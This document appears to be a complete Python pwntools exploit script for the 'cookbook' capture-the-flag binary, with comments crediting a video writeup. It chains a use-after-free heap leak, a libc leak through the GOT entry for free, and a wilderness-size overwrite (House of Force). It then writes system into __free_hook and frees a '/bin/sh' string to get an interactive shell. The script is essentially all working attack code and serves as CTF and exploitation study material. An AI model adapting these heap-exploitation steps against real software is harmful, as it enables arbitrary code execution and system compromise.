'''
This exploit is based off of this writeup with multiple parts (one of the best writeups I ever saw):
https://www.youtube.com/watch?v=f1wp6wza8ZI
https://www.youtube.com/watch?v=dnHuZLySS6g
https://www.youtube.com/watch?v=PISoSH8KGVI
link to exploit: https://gist.github.com/LiveOverflow/dadc75ec76a4638ab9ea#file-cookbook-py-L20
'''

#Import ctypes for signed to unsigned conversion, and pwntools to make life easier
import ctypes
from pwn import *

#Establish the got address for the free function, and an integer with value zero
gotFree = 0x804d018
zero = 0x0

#Establish the target
target = process('./cookbook', env={"LD_PRELOAD":"./libc-2.24.so"})
#gdb.attach(target)

#Send the initial name, guyinatuxedo
target.sendline('guyinatuxedo')

#This function will just reset the heap, by mallocing 5 byte size blocks with the string "00000" by giving the cookbook a name
def refresh_heap(amount):
    for i in range(0, amount):
        target.sendline("g")
        target.sendline(hex(0x5))
        target.sendline("00000")
        recv()
        recv()


#These are functions just to scan in output from the program
def recv():
    target.recvuntil("====================")

def recvc():
    target.recvuntil("[q]uit")

def recvd():
    target.recvuntil("------\n")

#This function will leak a heap address, and calculate the address of the wilderness
def leakHeapadr():
    #Create a new recipe, and add an ingredient
    target.sendline('c')
    recvc()
    target.sendline('n')
    recvc()
    target.sendline('a')
    recvc()
    target.sendline('water')
    target.sendline('0x1')

    #Delete the recipe to free it
    target.sendline('d')
    recvc()

    #Print the stale pointer, and parse out the heap infoleak
    target.sendline('p')
    target.recvuntil("recipe type: (null)\n\n")
    heapleak = target.recvline()
    heapleak = heapleak.replace(' -', '')
    heapleak = int(heapleak)

    #Calculate the address of the wilderness
    global wilderness
    wilderness = heapleak + 0xd38

    #Print the results
    log.info("Heap leak is: " + hex(heapleak))
    log.info("Wilderness is at: " + hex(wilderness))
    target.sendline('q')
    recv()
    recvc()

#This function will grab us a leak to libc, and calculate the address for system and the free hook
def leakLibcadr():
    #Add a new ingredient, give it a name, price, calories, then save and exit
    target.sendline('a')
    recv()
    target.sendline('n')
    recv()
    target.sendline('g')
    target.sendline('7539')
    recv()
    target.sendline('s')
    target.sendline('2')
    recv()
    target.sendline('p')
    target.sendline('1')
    recv()
    target.sendline('e')
    recv()
    target.sendline('q')
    recv()

    #Go into the create recipe menu, use the instructions write `i` to write over the ingredient with the got address of Free
    target.sendline('c')
    recvc()
    target.sendline('i')
    target.sendline('0'*12 + p32(gotFree) + p32(zero))
    recvc()
    target.sendline('q')
    recv()

    #Print the infoleak and parse it out
    target.sendline('l')
    recvc()
    for i in xrange(9):
        recvd()
    target.recvline()
    libcleak = target.recvline()
    libcleak = ctypes.c_uint32(int(libcleak.replace("calories: ", "")))
    libcleak = libcleak.value
    
    #Calculate the addresses for system and the freehook, print all three addresses
    global sysadr
    sysadr = libcleak - 0x37d60
    global freehook
    freehook = libcleak + 0x144af0
    log.info("Address of free: " + hex(libcleak))
    log.info("Address of system: " + hex(sysadr))
    log.info("Address of free hook: " + hex(freehook))

#This function will overwrite the value that specifies how much of the heap is left (overwriteWilderness) with 0xffffffff so we can use malloc/calloc to allocate space outside of the heap
def overwriteWilderness():

    #This will allow us to start with a fresh new heap, so it will make the next part easier
    refresh_heap(0x100)
    
    #Create a new stalepointer, which will be used later
    target.sendline('c')
    recvc()
    target.sendline('n')
    recvc()
    target.sendline('d')
    recvc()
    target.sendline('q')
    recv()

    #Add two new ingredients, then free one. This will position the wilderness value at a spot which we can easily write to it
    target.sendline('a')
    recv()
    target.sendline('n')
    recv()
    target.sendline('n')
    recv()
    target.sendline('d')
    recv()
    target.sendline('q')
    recv()

    #Write over the wilderness value which is 8 bytes away from the start of our input, with 0xffffffff
    target.sendline('c')
    recvc()
    target.sendline('i')
    recvc()
    wildernessWrite = p32(0x0) + p32(0x0) + p32(0xffffffff) + p32(0x0)
    target.sendline(wildernessWrite)
    recvc()
    target.sendline('q')
    recv()

def overwriteFreehook():

    #Calculate the space that we will need to allocate to get right before the free hook
    malloc_to_freehook = (freehook - 16) - wilderness
    log.info("Space from wilderness to freehook is : " + hex(malloc_to_freehook))

    #Allocate that much space by giving a cookbook a name of that size
    target.sendline('g')
    target.sendline(hex(malloc_to_freehook))
    target.sendline('0000')
    recv()

    #Now that the heap is aligned, the next name should write over the freehook, which we write over it with the address of system
    target.sendline('g')
    target.sendline(hex(5))
    target.sendline(p32(sysadr))
    recv()

    #Next we will allocate a new space in the heap, and store our argument to system in it
    target.sendline('g')
    target.sendline(hex(8))
    target.sendline("/bin/sh")
    recv()

    #Lastly we will run free from the space malloced in the last block, so we can run free with the system function as a hook, with an argument that is a pointer to "/bin/sh"
    target.sendline('R')
    recv()

    #Recieve some additional output that we didn't do earlier (unimportant for the exploit)
    recv()
    recv()
    recvc()

#Run the four functions that make up this exploit
leakHeapadr()
leakLibcadr()
overwriteWilderness()
overwriteFreehook()

#Drop to an interactive shell
log.info("XD Enjoy your shell XD")
target.interactive()